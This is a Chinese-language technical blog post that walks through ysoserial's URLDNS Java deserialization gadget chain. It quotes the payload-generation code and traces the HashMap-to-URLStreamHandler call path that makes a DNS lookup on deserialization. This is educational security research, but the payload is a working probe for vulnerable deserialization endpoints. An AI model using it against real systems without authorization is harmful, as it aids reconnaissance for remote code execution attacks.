本文假设你对Java基本数据结构、Java反序列化、高级特性(反射、动态代理)等有一定的了解。
背景
YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP。java -jar ysoserial.jar
可以直接查看payload适用环境及其适用版本。
关于此工具的背景,我引用P神的《Java安全漫游》文章对其的描述:
2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚Java安全的蓝海。⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。
下载工具源码发现主要payload生成逻辑都在ysoserial.payloads包下面:
接下来主要针对 URLDNS、 CommonCollections1-7、CommonsBeanutils 利用链进行分析:
URLDNS
URLDNS 是要介绍的几条链中调用逻辑最简单的一条,所以以这条链开始。我们来看看yso是怎么写的
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
getObject方法就是获取最后的利用类,return的是一个以精心构造的URL对象为key,url字符串为值的hashMap,调试一下看下调用链。
HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(获取url的dns地址)
- HashMap.readOject()
readObject中有读取key,然后对key进行hash操作,从yso代码得知,hashmap的key为精心构造的URL对象
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
....
....
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
- HashMap.hash()
跟进hash,里面调用了URL对象的hashCode()方法。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
- URL.hashCode()
URL对象的存在默认的私有hashCode变量其值为-1,所以会调用yso代码中URL对象构造方法的第三个参数,URLStreamHandler的hashcode。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
private int hashCode = -1;
- URLStreamHandler.hashCode()
然后调用URLStreamHandler的getHostAddress()方法
protected int hashCode(URL u) {
...
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
return h;
}
- URL.getHost()
getHost 就会发起对应url的请求,后续就不用再跟了。
rotected synchronized InetAddress getHostAddress(URL u) {
...
String host = u.getHost();
...
return u.hostAddress;
}
以上就是URLDNS的调用逻辑,但是在yso中还是有两个点值得我们注意:
- Reflections.setFieldValue(u, "hashCode", -1); 这一行代码是干嘛的,是多余的吗?
- 为什么SilentURLStreamHandler 会实现两个空方法?
首先第一个问题,这一行代码是干嘛的,为什么要将URL对象中的hashcode通过反射的方式设置为-1呢,URL对象中的hash code本身就是-1,为什么要这么做?
其实通过代码中的注释我们也能知道,在hashMap进行put操作时,会调用hash()方法,进而完成了一次类似反序列化的调用,handler调用hashcode()方法时也会将默认的hashCode值进行重新计算,所以put()完,本身的hashCode已经不为-1了,所以反序列就不会在继续执行handler.hashCode(this),也就没发触发DNS请求。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
第二个问题,其实和第一个问题一样,在put时也会进行一次hash()调用从而进行一次dns请求,为了避免在生成payload对象时候发起dns请求,所以继承了URLStreamHandler,实现getHostAddress、openConnection两个方法进行空操作,进而在生产payload对象时就不会发器dns请求了。
刚开始看到这里的时候我比较疑惑,重写了这两个方法到时候在使用这个payload去利用的时候不就没发正常发起DNS请求了吗,那这样做意义何在?原来我忽略了一个东西,在URL类中,URLStreamHandler被transient
关键字标记,transient
标记的属性在序列化时不会带入序列化的数据里面,这样在生成payload或者调试的时候不会发起DNS请求,但又不影响payload的正常使用,非常巧妙。
总结
URLDNS是一个不需要依赖其他包的反序列化利用,且调用过程比较简单,只会在HashMap与StreamHandler之间调用,稍微需要注意的也就是亮点,一个为什么要将hashcode最后通过反射的方式置为-1,另一个是为什么重写过StreamHandler两个方法为空操作后仍然能在凡序化后正常发起dns请求。
虽然URLDNS这条链很简单,但其实它做不了什么,仅仅只能帮助我们判断这个地方可能存在用户可控的凡序列化问题,仍然不能进行进一步的利用,那要怎么才能利用乃至RCE呢? 下一专题Common-collections1 就来帮助我们解决这个问题。
公众号
欢迎关注我的公众号!